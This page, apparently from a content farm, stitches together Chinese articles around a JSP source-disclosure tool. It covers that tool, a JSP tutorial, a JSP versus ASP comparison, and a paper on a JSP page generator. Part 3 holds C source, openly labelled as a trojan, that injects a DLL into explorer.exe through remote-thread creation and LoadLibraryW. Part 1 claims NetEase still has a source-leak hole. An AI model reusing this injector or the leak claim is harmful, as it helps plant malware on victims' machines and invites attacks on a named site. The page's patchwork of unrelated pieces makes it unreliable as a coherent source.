下面是小编为大家整理的一个暴jsp源码的网页,本文共10篇,欢迎阅读与收藏。

篇1:一个暴jsp源码的网页
来源:vbs小铺
N年前写的一个暴jsp源码的网页,收藏在这儿,网易现在还有这漏洞呢,
XML/HTML代码
海阳顶端网jsp暴源码及目录网页使用帮助: 第一个写域名;第二个写路径;第三个写文件名,注意不要加扩展名:
篇2:JSP动态网页制作技术
JSP动态网页制作技术
JavaServer Pages (JSP) 是一种结合了跨平台与跨网站服务器机制,以 Java为主的技术来产生动态网页。 JSP与微软的ASP(Active Server Pages )相容,但它是使用类似HTML的标签以及Java代码片段而不是VBScript。当你所使用的网站服务器没有提供本地ASP支援,也就是Apache或Netscape服务器时,你可以考虑使用JSP。虽然你可以取得这些服务器的ASP附加配备程序,但价格相当昂贵,而目前Sun并没有对你所要的JSP组件收取费用(虽然Sun未来有可能会收费)。对於Solaris与Linux以及Windows,这些组件也都很容易取得。
请不要将JSP与服务器端的JavaScript混为一谈。网站服务器会自动将以JSP写成的Java代码片段转换成Java servlets。而许多先前必须以Perl手写程式或服务器特定的API(如ASP)控制的功能也都可透过JSP来自动化处理。
现在就让我们开始动手帮助你建立一个可执行JSP范例网站。
一、如何安装好你的机器来使用JSP
你将需要Java 2软件开发工具(JSDK),它原来的名称是Java开发工具(JDK)以及JavaServer网站开发工具(JSWDK),Tomcat,或是其他支援JSP的网络服务器。Sun免费提供JSDK与JSWDK来供Windows,Solaris,以及Linux平台使用。
如果你想要在你目前的网络服务器上使用JSP,但服务器本身并不支援JSP与Java servlets,你可以试试看Allaire的Jrun, 它的作用就像是针对Netscape企业版与FastTrack服务器、微软的网络资讯服务器(IIS)与个人网络服务器(PWS)、Apache、以及其他服务器的网络服务器附加设备。你也可以使用Apache网络服务器的Java版本,最新的JSWDK里有提供。
1、下载与安装你需要的组件
目前发表的1.2.2-001,JSDK可下载的版本是以可安装的压缩文档形式。下载的文件大约是20MB,可提供完整的Java发展环境,让你能建立利用标准API为核心的Java解决之道。然而,你的网络服务器需要应用到JSP的唯一一件事是Java编译器。要让网络服务器知道编译器的位置,将环境参数JAVA.HOME设到JSDK的安装目录。如果你是在Windows上安装并且接受预设目录,将这行代码set JAVA.HOME=C:1.2.2加到你的autoexec.bat文件并且重新开机。
在安装好JSDK之後,下载并且安装JSWD
K或beta版的Tomcat,以Java为主的Apache网络服务器。安装在哪里并不重要,重要的是你可以找到它。一般而言,它会放在上层目录,这种方式可以让你取代JSWDK或 JSDK的网络服务器,不需要移动其他的网络服务器。在你安装好这个文件之後,你就可以准备使用JSP了。
在你正确的安装JSWDK之後,执行startserver指令来启动网络服务器,预设通讯口为8080。要看你在启动服务器之後是否有正确的安装工具,你可以载入范例JSP文件中的任何一个(localhost:8080/examples/jsp/)。如果你能够成功的执行一个范例文件,你可以知道你已经正确的设定好软件了。如果你在启动服务器的控制台视窗看到错误讯息,那麽你需要解决这个问题。最常发生的问题是没有设定(或者不正确设定)环境参数JAVA.HOME。 要检查目前的环境设定,在DOS模式下键入set。
2、开始解释JSP语法 之前,先建立一个显示目前日期与时间的快速网页并且将它储存成sample.jsp:
Today is:
<%= new java.util.Date %>
.
将这个文件与你所有的HTML与JSP网页放在你JSWDK安装目录下的网页目录里. 你可以在localhost:8080/sample.jsp下载此页.当你第一次参观这个网页时,网站服务器会将JSP翻译成Java servlet代码,那你就会看到目前的日期与时间.
现在你已经下载,安装,并且架构好环境,你已经准备好要了解JSP语法与建立你自己的JSP为主的解决之道.
二、JSP语法的基本原理
安装之後,接下来我们要讨论JSP的语法.如果要偷懒,你可以下载语法卡,如果你不熟悉 Java的程序设计,你可能会想要参考Sun的使用手册;然而,网站建立者不应该做太多的Java使用程序,除了几个函数式之外,出现在你JSP网页上的Java程序码应该将它减到最少。
记住这点之後,现在让我们先来看看JSP的编译器指引与指令元件,之後我们将解释JavaBeans与内部物件. JSP编译器指引与指令元件有五种型态.JSP 1.0之後,大部分的JSP是包含在以<% 作为开始%>
作为结束的单一标签里,新的 JSP 1.1规格已经发表了,它同时也与XML相容。
1、JSP的编译器指引与指令元件
编译器指引 <%@ 编译器指引 %>
预定义 <%! 预定义 %>
运算式 <%= 运算式 %>
程序码片段/小型指令 <% 程序码片段 %>
注解 <%-- 注解 --%>
2、编译器指引
JSP的编译器指引是针对JSP引擎。它们并不会直接产生任何看得见的输出;相反的,它们是在告诉引擎如何处理其他的'JSP网页。它们永远包含在 <%@ ?%>标签里。两个主要的指引是 page与include。我们不会讨论taglib编译器指引但它可以在JSP1.1里用来建立自订标签。
你几乎可以在你所有的JSP网页最上面找到page编译器指引。虽然这不是必须的,但它可以让你指定到那里可以找到支持的Java类别: <%@ page import=“java.util.Date” %>, 当发生Java问题的事件时应该将信息传送到那里: <%@ page errorPage=“errorPage.jsp” %>, 以及你是否要为使用者管理通话期的通信,可能存取多个网页(稍後在JavaBeans里会有更多通话期的讨论): <%@ page session=“true” %>。
include编译器指引让你将你的内容分成几个可管理的元件,就像那些有表头或注脚的网页。所包含的网页可以是固定格式的HTML网页或者是JSP内容的网页:
<%@ include file=“filename.jsp” %>。
3、JSP预定义让你定义网页层的参数,来储存信息或定义支持的函数式,让JSP网页的其余部分能够使用。如果你发现自己有太多的程序码,你最好将它们放在不同的Java类别里。你可以在 <%! ?%>标签里找到预定义。记住要在参数预定义的後面加上分号,就跟任何有效的Java叙述的形式一样: <%! int i=0; %>。
4、JSP里有运算式,评估运算式的结果可以转换成字串并且直接使用在输出网页上。JSP运算是属於 <%= ?%> 标签里,并不包含分号,加引号字串的无用部分:
<%= i %>
<%= “Hello” %> 。
5、JSP程序码片段或小型指令文件是包含在<% ?%> 标签里。当网络服务器接受这段请求时,这段Java程序码会执行。小型指令文件可以是原始的HTML或XML,其内部的程序码片段可以让你建立有条件的执行程序码,或者只是一些使用另一块程序码的东西。举例来说,下列的程序码结合了运算式与小型指令文件,在H1,H2,H3,以及H4标签里显示字串“Hello”。小型指令文件不限於一行的原始程序码 :
<% for (int i=1; i<=4; i++) { %>
<% } %>。
注解.
最後一个主要JSP元件是嵌入式注解。虽然你可以在你的文件里包含HTML注解,如果使用者检视网页的原始码,他们也会看到这些注解。如果你不要让使用者看到你的注解,你可以将它放在<%-- ?--%>标签里:
<%-- 针对服务器端的注解 --%>。
三、JSP与JavaBean
虽然你可以在小型指令档里放入一大块的代码,但是大多数的Java代码是属於可以重复使用的元件,称为JavaBean。JavaBean就跟ActiveX控制项一样:它们提供已知的功能,并且是为了可随时重复使用的目的而设计的。
JavaBean的¤值在於它可以经由一组特性来使用,而这些特性则提供对JavaBean设定的存取。以人来作范例,此人就是JavaBean,而他的姓名,社会福利安全号码,以及住址可以是特性。对於JSP网站,基本上你是将'JavaBean'动态的连接到你的网站。
假设JavaBean是在建立网站之前建好的,你要做的第一件事是告诉JSP网页它所需要使用JavaBean,这工作可以用
要更改
JavaBean的特性,你需要使用
要从一参数取得,你必须直接命名此特性以及参数:
或是直接以名称与值来设定:
有关JavaBean的最後一点:要让网络服务器可以找到JavaBean,你 要将它们的类别文件放在特别位置。对JSWDK而言,最简单的地方是在安装目录里的类别目录,例如 jswdk-1.0.1classes.
四、JSP的内部物件
最後一个与JSP语法有关的元件叫做内部物件.在JSP小型指令档内,你可以存取这些内部物件来与执行JSP网页的servlet环境相互作用。许多对内部物件的存取应该要简化。然而,这些是范例,它们的存取都是可接受的,要完整的利用内部物件设定则 要对最新的Java Servlet API有所了解。
有关内部物件说明:
request 用户端请求,此请求会包含来自GET/POST请求的参数
response 网页传回用户端的回应
pageContext 网页的属性是在这里管理
session 与请求有关的通话期
application servlet正在执行的内容
out 用来传送回应的输出资料流
config servlet的架构物件
page JSP网页本身
exception 针对错误网页,未捕捉的例外
那麽,这些是做什麽的,而你应该如何使用它们呢?基本上,在你的小型指令档里,你可以使用它们来存取执行JSP代码的servlet。 为了避免谈论到太多Servlet API 的细节,让我们来检验一些你可以利用它们来做的事: 不必使用运算式,你可以直接存取内部out物件来列印一些东西到response:
<% out.println(“Hello”); %>.
不必直接传送参数到JavaBean,你可以藉由请求物件来取得参数的值:
<% String name=request.getParameter(“name”); out.println(name); %>。
当你以JSP写了许多的应用程式之後,如果你建立了JavaBeans或者发现你自己将太多的Java原始码放入你的JSP档案,你需要建立支援的Java类别,这样可以鼓励重复使用并且降低JSP网页转换时所需要的时间。当你需要建立Java类别时,你必须: 将JDSWK的安装目录bin目录加到你的PATH。在你的autoexec.bat档案的PATH行的最後,加入C:1.2.2bin; 。
以下面的指令将JAR档案复制到jrelibext目录:
copy c:jswdk-1.0.1libservlet.jar c:jdk1.2.2jrelibext.
五、 建立一JSP网站
现在到了将所有的JSP语法放在一起使用的时候了。我们将会建立一个具有输入格式的网站,让使用者来输入股票代号并且获得目前股票的价格(大约延迟20分钟)。如果有错误,则错误网页会显示。
quote.jsp
首先,以这段代码建立quote.jsp并且将它储存在JSWDK安装目录的网页目录里。网页的大部分内容是标准的HTML格式,而JSP代码分散各处。第6行是网页编辑器指引,指示将任何错误传送到errorPage.jsp档案。第13行到15行是小型指示码,基本上是说只有当“symbol”参数存在时才显示表格。这个if区段包含了第32行到34行的代码。第17行定义要使用的 JavaBean,而第18行从参数载入它的符号特性。第27行到29行指示显示usebean的特性。除了if区段之外,并没有其他的Java代码。
errorPage.jsp
接著,将下列的JSP原始码储存到网页目录下的文件errorPage.jsp.这是一个错误网页的暗示是在第一行,此行将网页编译器指引isErrorPage属性设为真。虽然前一页说明了错误网页在哪里,这页是说它是一个错误网页。JSP文件里其他特定的JSP代码是对内部例外物件的存取。此页只是显示它的值而已:
<%@ page isErrorPage=“true” %>
Our Error Page
We got ourselves an exception:
<%= exception %>
Restart
.
Quotes.java
Quotes JavaBean使用雅虎的资源来取得股票。其原始码 要储存於 JSWDK安装目录下classescomjguru目录里的quotes.java档案。从那里你可以使用JSDK的编译器来编译它。 一旦你建好两个JSP文件,建立了JavaBean原始文件并且编译好之後,你就可以由localhost:8080/quote.jsp载入quote.jsp文件来查看结果,假设你没有更改 JSWDK安装,使用不同的通讯口> 此网页可以再加强,但它所呈现的功能,是JSP功能的良好示范。
全文结束
邮编 450008
通讯地址:河南省郑州市郑花路29#
河南金融管理干部学院计算机教研室―陈学军
篇3:一个嵌入式dll木马源码
一个嵌入式dll木马源码-06-08 03:39//A.exe
#include
#include
#include
#pragma comment (lib,“Advapi32.lib”)
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)//函数头,呵呵,晕!
{
//我们说了要第一步要调用VirtualAllocEx()函数在目标进程中分配内存
//那么我们就得找到目标进程的PID,我们假设把目标进程锁定为explorer.exe
//下面是获取explorer.exe的PID
DWORD pid; //声明PID
HANDLE hSnapshot = NULL;
hSnapshot=createToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
PROCESSENTRY32 a;
a.dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot,&a);
do
{
if(strcmp(a.szExeFile,“Explorer.exe”)==0)
{
pid = a.th32ProcessID;//匹配,找到
break;
}
}
while(Process32Next(hSnapshot,&a)==TRUE);
CloseHandle (hSnapshot);//,找到了PID,善后
PWSTR pszLibFileRemote = NULL;//待会要作为传递的参数,(实际上是要存放我
//的DLL木马的空间)
HANDLE hRemoteProcess = NULL;
HANDLE hRemoteThread = NULL;
//下面这个OpenProcess 来打开目标进程的,参数的设置你可以理解成在问系统要对目标进程的权限
hRemoteProcess = OpenProcess(
PROCESS_QUERY_INFORMATION |PROCESS_create_THREAD | //允许远程创建线程
PROCESS_VM_OPERATION | // 允许远程VM操作
PROCESS_VM_WRITE, // 允许远程VM写操作
FALSE, pid);
char CurPath[256]; //用来存放当前路径
GetCurrentDirectory(256,CurPath);//获得当前的路径
strcat(CurPath,“zizai.dll”); //让zizai.dll的路径放入CurPath
//计算DLL路径名需要的内存空间,参考了JIURL的计算方法,强烈致谢
//SHOTGUN计算方法:int changdu = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
int changdu = (strlen(CurPath)+1)*2;
WCHAR wCurPath[256];
MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);
//调用VirtualAllocEx()函数在目标进程中分配内存
//注意是在远程进程hRemoteProcess的内存空间申请
pszLibFileRemote = (PWSTR)VirtualAllocEx(hRemoteProcess, NULL, changdu, MEM_COMMIT, PAGE_READWRITE);
//用WriteProcessMemory()函数向申请的内存中写入要注入zizai.dll的路径和名称,也就是参数
WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) wCurPath, changdu, NULL);
//远程进程 //具体空间 //路径 //长度
//计算LoadLibraryW的入口地址,也就是远程线程的地址pfn ,用它来启动我们的DLL木马
PTHREAD_START_ROUTINE pfn = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT(“Kernel32”)), “LoadLibraryW”);//这里怎么会用到Kernel32呢?
//是因为LoadLibraryW函数是在kernel32.dll中定义的,就是用来启动DLL文件
//它只有一个参数,就是DLL文件的路径名(是木马DLL的绝对路径)
//利用createRemoteThread()在远程进程中创建一个线程,这个线程执行LoadLibraryW
//就实现了通过远程线程调用用户的DLL文件
//要把LoadLibraryW的入口地址代入
hRemoteThread = createRemoteThread(hRemoteProcess, NULL, 0, pfn , pszLibFileRemote,0, NULL);
return 0;
}
篇4:动态网页制作技术JSP与ASP的比较
动态网页制作技术JSP与ASP的比较
总的来讲,JavaSever Pages(JSP)和 微软的Active Sever Pages(ASP)在技术方面有许多相似之处。两者都是为基于WEB应用实现动态交互网页制作提供的技术环境支持,都能够为程序开发人员提供实现应用程序的编制与自带组件设计网页从逻辑上分离的技术,而且都能够替代CGI使网站建设与发展变的较为简单与快捷。
尽管JavaSever Pages 技术和微软的Active Sever Pages在许多方面都有相似的,但仍然存在很多不同之处,其中最本质上的区别在于:两者是来源于不同的技术规范组织,其实现的基础:WEB服务器平台要求不相同。
JSP 技术:开放的技术JSP和ASP技术明显的不同点:开发人员在对两者各自软件体系设计的深入了解的方式不同。JSP技术基于平台和服务器的互相独立,输入支持来自广泛的,专门的,各种工具包,服务器的组件和数据库产品开发商所提供。相比之下,ASP技术主要依赖微软的技术支持。
平台和服务器的独立性JSP技术依附于一次写入,之后,可以运行在任何具有符合JavaTM语法结构的环境。取而代之过去依附于单一平台或开发商,JSP技术能够运行在任何WEB服务器上并且支持来自多家开发商提供的各种各样工具包。
由于ASP是基于Activex控件技术提供客户端和服务器端的开发组件,因此ASP技术基本上是局限于微软的操作系统平台之上。ASP主要工作环境是微软的IIS应用程序结构,又因Activex对象具有平台特性,所以ASP技术不能很容易地实现在跨平台的WEB服务器的工作。尽管ASP技术通过第三方提供的产品能够得到组件和服务实现跨平台的应用程序,但是Activex对象必须事先放置于所选择的平台中。
开放的开发过程,开放的原代码SUN应用JAVA社团性过程开发JSP技术。自从1995年,SUN已经用这种开放过程方法同国际JAVA组织合作开发和修改了JAVA技术与规范。针对JSP的产品,SUN授权了工具提供商(如Macromedia),结盟公司(如Apache,Netscape),最终用户,协作商及其他。最近,SUN将最新版本的JSP和JavaTM Servlet(JSP 1.1,JAVA SERVLET 2.2)的原代码发放给Apache,以求JSP与Apache紧密的相互发展。Apache,SUN和许多其他的公司及个人公开成立一个健壮的咨询机构以便任何公司和个人都能免费取得信息。(详见:jakarta.apache.org)
JSP应用程序界面(API)毫无疑问已经取得成功,并将随JAVA组织不断开放扩大继续完善。相反,ASP技术仅依靠微软本身的推动,其发展是建立在独占的,封闭的开发过程基础之上。
ASP
技术JSP
技术WEB
服务器微软的`
IIS或个人WEB服务器任何
WEB服务器包括Apache,Netscape,和IIS操作系统平台
微软的视窗系统
绝大多数的流行平台,包括
solaris操作系统,微软的视窗系统,MAC OS,Linux,及其他UNIX系列平台产品跨平台访问
需要第三方
ASP的引入产品支持
WEB信息机构环境中不同系列的计算机群即保证用户在当前软硬件及人力资源上的投资完全兼容,JSP技术提供灵活,开放选择:可以使用各种各样的工具提供商提供的工具,高度体现工业化标准输入与配置3、从开发人员的角度来看:ASP和JSP技术都能使开发者实现通过点击网页中的组件制作交互式的,动态的内容和应用程序的WEB站点。ASP仅支持组件对象模型COM,而JSP技术提供的组件都是基于JavabeansTM技术或JSP标签库。由此可以看出两者虽有相同之处,但其区别是很明显的。
JSP标签可扩充性尽管ASP和JSP都使用标签与脚本技术来制作动态WEB网页,JSP技术能够使开发者扩展JSP标签得以应用,JSP开发者能定制标签库,所以网页制作者充分利用与XML兼容的标签技术强大的功能,大大减少对脚本语言的依赖。由于定制标签技术,使网页制作者降低了制作网页和向多个网页扩充关键功能的复杂程度。
JSP跨平台的可重用性JSP的开发人员在开发过程中一直关注可重用性。JSP组件(企业JavabeansTM,Javabeans,或定制的JSP标签)都是跨平台可重用的。企业Javabeans组件可以访问传统的数据库,并能以分布式系统模式工作于UNIX和WINDOWS平台。JSP技术的标签可扩充功能为开发人员提供简便的,与XML兼容的接口即共享网页的打包功能使其完全的工业标准化。
这种基于组件的模式很有效提高应用程序的开发效率,因为这种模式能够使开发人员利用快捷的子组件快速创建模板应用程序,然后再整合一些附加功能以后便可使用。象这样有效的方法在JSP中无处不在,并可将其打包成一个Javabean或一个工业标准化的Javabean组件。
JAVA的优越性JSP技术是用JAVA语言作为脚本语言的,而ASP网页使用微软的VBScrip或Jscrip。JAVA是成熟的,强大的,易扩充的编程语言,远优于基于BASIC的脚本语言。如:JAVA的可执行性优于VBScript或Jscript语言。因为它们利用JAVA技术并且都被编译为JAVA Servlets,JSP网页为整个服务器端的JAVA库单元提供了一个接口来服务于HTTP的应用程序。
JAVA使开发人员的工作在其他方面也变的一样容易,简单。例如,当ASP应用程序在WINDOWS NT系统被怀疑可能会崩溃时,JAVA能有效的防止系统的崩溃。JAVA语言通过提供防止内存的泄漏的方法,在内存管理方面也能大显身手。加之,JSP为应用提供了健壮的意外事件处理机制。
易于维护性基于JSP技术的应用程序比基于ASP的应用程序易于维护和管理。
脚本语言都能很好服务于小的应用程序,但不能适应大型的,复杂的应用程序。因为,JAVA是结构化的,它比较容易创建和维护庞大的,组件化的应用程序。
JSP突出的组件技术使修改内容而不影响逻辑或修改逻辑而不影响内容变得很容易实现。
企业级的Javabeans结构整合了企业逻辑,例如数据库的访问,安全,事务完整性,及独立性即独立于应用程序。
因为JSP技术是一种开放的,跨平台的结构,因此,WEB服务器,平台,及其他的组件能很容易升级或切换,且不会影响JSP基本的应用程序。这一特点使JSP能够适用现实世界的各种WEB应用程序不断的变化和发展。
ASP
技术
JSP
技术可重用
,跨平台组件没有JAVABEANS企业级
JAVABEANS,定制JSP标签安全
:防范系统崩溃没有有
内存泄露保护
没有有
脚本语言
VBSCRIPT,JSCRIPT
JAVA
定制标签
没有有2、企业产品的多样性
JAVA2平台即企业版(J2EE)是适用于多企业应用程序的JAVA结构,作为J2EE的部分,JSP网页可访问所有J2EE的组件,包括Javabeans,企业级Javabeans及JAVA Servlets。JSP网页都能完全编译成为Servlets,所以它们都享有灵活性的特点和为服务器端JAVA应用程序。J2EE平台内容不仅包括管理复杂的企业应用程序而且包括事务管理技术和Pooling资源管理技术。
JSP网页可以访问标准的J2EE服务,包括: JAVA名称和目录界面API JDBCTM API(与关联的数据库通讯) JavaMailTM(支持基于JAVA邮件和消息应用程序的类) JAVATM 消息服务
通过
J2EE,JSP网页能够用许多方式同企业系统交互访问。J2EE支持两种CORBA规范的技术:JAVA IDL和RMI-IIOP。在企业级JAVABEANS技术支持下,JSP网页通过运用高级的,对象映射的方式访问数据库。最终,因为JSP技术是基于JAVA的开放性过程的产品,因此它能够广泛支持不同提供商提供的工具,WEB服务器和应用程序的服务,这样能够使用户选择最佳的开发方法,选择最适应他们的应用程序开发的工具包,同时,有效地保护用户在代码和人员培训上的投资。
ASP技术JSP技术兼容传统的数据库可以(COM)可以(用JDBC API)集成数据源的能力能工作在任何符合ODBC规范的数据库能工作在任何符合ODBC规范的数据库,而且能访问符合JDBC技术规范数据库组件COM组件JAVABEANS,企业级JAVABEANS或扩展的JSP标签扩展工具支持有有---全文结束---
邮编:450008
通讯地址:河南省郑州市郑花路29#
河南金融管理干部学院计算机教研室---陈学军
篇5:基于JSP网页自动生成工具的设计与实现
基于JSP网页自动生成工具的设计与实现
摘 要:Web开发技术是Internet应用的一个重要方面,而JSP又是Web开发的最先进的技术,是当前Web开发人员的首选技术。但是由于JSP对Web开发人员要求较高,所以许多一般的Web开发人员还不能够使用这一项先进的技术。讨论基于模板和标签库的JSP网页自动生成工具的设计和实现,提出具体的设计思想和实现方法。关键词:JSP;自动生成;Web开发;标签;标签库;模板
目录:
引言…………………………………………………………………..2
1 系统设计目标和使用的主要技术……………………………….4
1.1 设计目标………………………………………………………4
1.2 主要技术………………………………………………………4
1.2.1 模板技术………………………………………………….4
1.2.2 标签库技术……………………………………………….4
2 系统的组成和实现……………………………………………….6
2.1 系统组成………………………………………………………6
2.2 系统的实现……………………………………………………7
2.2.1 模板库和标签库的实现………………………………….7
2.2.2 系统开发环境…………………………………………….11
3 结束语…………………………………………………………….11
引 言
随着WWW(World Wide Web)的普及,动态网页技术也急速发展。从原来的CGI(Common Gateway In-terface)到ASP(Active Server Page),都从某种程度上满足了网页开发人员对动态网页开发技术的需求。但是不管是CGI还是ASP都存在一定的局限性,如CGI对服务器资源的耗费,ASP只能同Microsoft IIS一起使用等,这些都限制了这些技术的使用范围,极大地阻碍了它们的推广。广大的页面开发人员都热切地盼望一种统一的页面开发技术,该技术应该具有的特点:①与操作平台无关,能够在任何Web或应用程序服务器上运行;②将应用程序逻辑和页面显示分离;③提供代码重用,简化开发基于Web的交互式应用程序的过程。
JSP(Java Server Page)技术就是被设计用来满足这样的要求的。JSP是由Sun MicroSystem公司于6月推出的新的网页开发技术,它是基于Java Serv-let以及整个Java体系的Web开发技术,是Servlet2.1API的扩展。利用这一技术,可以建立先进、安全和跨平台的动态网站。
Java是未来的主流开发技术,具有很多优势。JSP则是Java在Internet/Intranet Web上的重要应用技术,得到了广泛的支持和承认,它可以和各种Java技术完好地结合在一起,从而实现非常复杂的应用。
作为一种基于文本的、以显示为中心的开发技术,JSP提供了Java Servlet的所有好处。为了做到逻辑功能和显示功能分开,JSP已经可以和JavaBeans、Enterprise JavaBeans(EJB)和Servlet一起工作。JSP的开发人员可以通过使用JavaBeans、EJB和Servlet来完成大部分与网站逻辑相关的工作,而仅仅把显示的工作交给JSP页面来完成。内容和显示逻辑分开的好处在于,更新页面外观的人员不必懂得Java代码,而更新Java类的人员也不必是设计网页的行家。这就可以用带Java类的JSP页面来定义Web模板,以建立一个具有相似外观的页面组成的网站。Java类完成数据提供,在模板中就没有Java代码,这意味着这些模板可以由一个HTML编写人员来维护。
JSP作为当前主流的网页开发技术,具有如下特点。
1)将内容的生成和显示进行分离:使用JSP技术,Web页面开发人员可以使用HTML或者XML标识来设计和格式化最终的页面。使用JSP标识或者小脚本来生成页面上的动态内容(内容是根据请求来变化的)。生成内容的逻辑被封装在标识和JavaBeans组件中,并且捆绑在小脚本中,所有的脚本在服务器端运行。如果核心逻辑被封装在标识和JavaBeans中,那么其他人,如Web管理人员和页面设计者,能够编辑和使用JSP页面,而不影响内容的生成。
2)强调可重用的组件:绝大多数JSP页面依赖于可重用的、跨平台的组件来完成应用程序所要求的更为复杂的处理。得益于Java的操作平台无关性,开发人员能够很方便共享和交流执行普通操作的组件,或者使得这些组件为更多的使用者所使用。基于组件的方法加速了总体的开发过程,极大地提高了项目整体开发的效率。
虽然JSP功能强大,但是它要求网页开发人员对Java要相当熟悉。而现在Java程序员还比较少,对一般的网页开发人员来说,JSP的语法还是比较难于掌握的。所以,就需要有一种网页开发工具,为一般的网页开发人员提供常用的JSP应用,让只懂得一般页面开发技术(HTML)的开发人员也能够使用JSP的强大功能。
1 系统设计目标和使用的主要技术
1.1 设计目标
本系统的设计目标是为只懂得HTML但完全不了解JSP的一般网页开发人员提供一个网页开发工具,使他们能够根据系统文档,通过标签使用JSP的常用功能,最后生成一个只包含静态HTML和JSP标签的动态JSP
网页。
1.2 主要技术
本系统在设计时,主要考虑使用模板和JSP标签的技术来实现。
1.2.1 模板技术
模板技术被广泛地应用于各种开发和应用系统中。它预先生成一些常用的框架结构,使用户可以根据自己的需要方便地从模板库中选择模板,而不用自己重新去搭建,节省了用户的开发时间,方便了用户的使用。在本系统中,将页面按照功能类型进行分类,归纳出常用的页面类型,生成模板库。
1.2.2 标签库技术
在JSP中,动作是可以创造与访问程序语言对象和影响输出流的元素。JSP定义了六个标准的动作。除了这六个标准动作以外,用户可以定义自己的动作来完成特定的功能。这些动作被称为客户化动作,它们是可重用的程序模块。通过这些动作,程序员就可以在JSP页面中把页面的显示功能也部分地封装起来,使整个页面更加简洁和易于维护。在一个JSP页面中,这些客户化动作是通过客户化标签来调用的。而标签库(Tag Library)就是客户化标签的集合。
JSP标签库是一种通过JavaBeans生成基于XML的脚本的方法。它是JSP的最大特点之一。通过标签库,能够无限制地扩展JSP应用,完成任何复杂的应用需求。
JSP标签库具有以下特点。
1)易于使用:JSP中的标签和一般的HTML标记外表上是完全一样的,使用起来和普通的HTML标记一样方便。
2)易于代码重用:标签库中的每一个标签都能完成一定的功能。一旦定义好了一个标签库,只需要把这个标签库包装成一个Jar文件,那么以后只要在别的系统中使用这个标签库就行了,而不用重新开发代码,极大地提高了系统开发效率,降低了开发成本。
3)易于代码维护:所有的`应用逻辑都封装在标签处理器和JavaBeans中,所有的标签都集中在一个标签库中。如果需要更新代码或者需要修改一个网页上的功能,只需要修改相应的标签即可。通过这种统一维护方式,不用在每个网页上去作修改,极大地减少了维护的工作量,节约了维护成本。
4)易于系统扩充:如果需要向系统中添加新的功能,只需要定义一个新的标签来完成这一功能即可,无需对系统的其它方面作任何改动。标签库可以继承JSP规范各方面的特性。这样就可以无限制地扩展和增加JSP的功能,而不需要等待下一版本JSP的出现。
2 系统的组成和实现
2.1 系统组成
本系统主要由四个部分组成,见图1。
1)数据库连接部分:本系统支持常用的几个数据库,包括Oracle、Sybase、MSSQLServer、MySQL和DB2,根据用户选择的数据库类型和用户提供的数据库名称、用户名、密码使用JDBC同数据库相连。
2)系统基本表生成部分:和数据库连接以后,根据同数据库相连的用户名生成两个系统基本表TC-Tables和TC-Columns,TC-Tables表包含在该数据库中属于该用户的所有的表的英文名称、中文名称和一些属性,如是否可修改、是否可查询等;TC-Columns表包含在该数据库中属于该用户的所有的表的所有列的中英文名称和其它一些属性。如是否可显示、是否可查询等。这两个系统基本表在整个系统的开发过程中提供用户所使用数据库的基本信息。
3)模板选择和网页生成部分:该部分是系统的核心部分。它包含了两个子模块。
①模板选择部分:系统为用户提供模板选择界面,让用户根据需要从模板库中选择所要使用的模板。
②模板处理部分:根据用户选择的模板,系统调用指定的模板处理模块对这个模板进行处理。当处理程序遇到模板中的标签时,就为用户提供交互界面,让用户为指定的标签输入参数,并由系统验证用户输入的标签的有效性。最后由系统完成JSP页面的生成。
4)网页预览和修改部分:网页生成出来以后,系统为用户提供了一个网页预览窗口和代码查看修改窗口。通过这个预览窗口,用户可以预览一下生成出来的JSP页面的效果。如果用户对页面的静态方面的效果不太满意,用户可以通过代码查看修改窗口修改代码中的HTML代码。如果用户对页面的静态效果有进一步的要求,系统还为用户提供了一个调用DreamWeaver编辑器的接口,用户可以使用它来对生成出来的JSP页面的静态效果进行进一步的修改和完善。
2.2 系统的实现
2.2.1 模板库和标签库的实现
标签库的规划和设计在整个系统设计中至关重要,它关系到了代码重用的程度和系统运行的效率。它的规划应该遵循以下原则。
1)在标签中应该尽量少的包含静态的HTML。对于一般用户来说,标签是透明的。用户不能够查看和修改标签。如果在标签中包含了过多的静态HT-ML语句,将影响用户对页面的静态效果的修改和完善,限制标签的使用。
2)尽量提高代码的重用度。在对JSP应用进行分类是尽量把公用的JSP应用提取出来,形成标签。而不用在每个标签中都重复实现该应用。这样在以后要对该应用进行修改和完善时,只需对这一个标签进行修改即可,易于代码的维护。
3)方便用户的使用。在设计标签库时,应该充分考虑到用户的使用情况,使用户能够很容易和方便地理解和使用标签。
①标签库的定义:定义一个标签库,必须首先定义一个标签库描述文件(TLD)。这是一个基于XML的脚本文件,在这个文件中定义了XML的版本、所使用的编码、标签库的版本、所使用的JSP的版本、标签库的名称和这个库中所包含的所有的标签的定义和参数描述,包括标签的名称,标签所对应的Java类,标签的描述信息等。
②标签的实现:一个标签就是一个特殊的Java
类,这个类必须继承TagSupport类,这个类是在javax.servlet.jsp.tagext包中定义的。在标签类中,包含了这个标签的参数初始化方法(Set/Get)、标签的主体处理方法(Handler)以及供下一级标签调用的方法等。
③模板的实现:一个模板就是一个含有标签引用的JSP文件。为了在模板中引用所定义的标签,必须首先引入标签库。
<%@taglib uri=“tag.tld”prefix=“ctag”%>
其中uri指定标签库描述文件的路径;prefix指定引用标签时所使用的前缀。
在模板中引用指定的标签时,使用引入标签库时所指定的前缀,指定标签的名称;为标签的参数赋值。
2.2.2 系统开发环境
本系统主体程序开发使用的是Borland公司的JBuilder 6.0,模板开发使用是Microsoft公司的Front-Page,标签库
开发使用的是UltraEdit编辑器,JDK采用的是JDK1.4。系统测试环境是JRun3.0。
3 结束语
Java是未来开发语言的主流,而Java在Web上的主要应用JSP也必将成为未来Web开发的主流技术。本系统采用了JSP的最大特点之一的标签库,使一般的Web开发人员也能够方便地使用JSP强大的动态页面功能,开发出技术先进的JSP动态Web页面。由于本系统采用Java语言进行开发,所以可以在任何支持图形化界面的操作系统下运行,实现了完全的与平台无关。本系统易于扩充和完善。在以后可以考虑为用户提供接口,使用户可以自己扩充模板库和标签库,进一步增强系统的功能。
参考文献
[1] Cay S.Horstmann,Gary Cornell.Java 2核心技术(CoreJava 2)[M].北京:机械工业出版社.
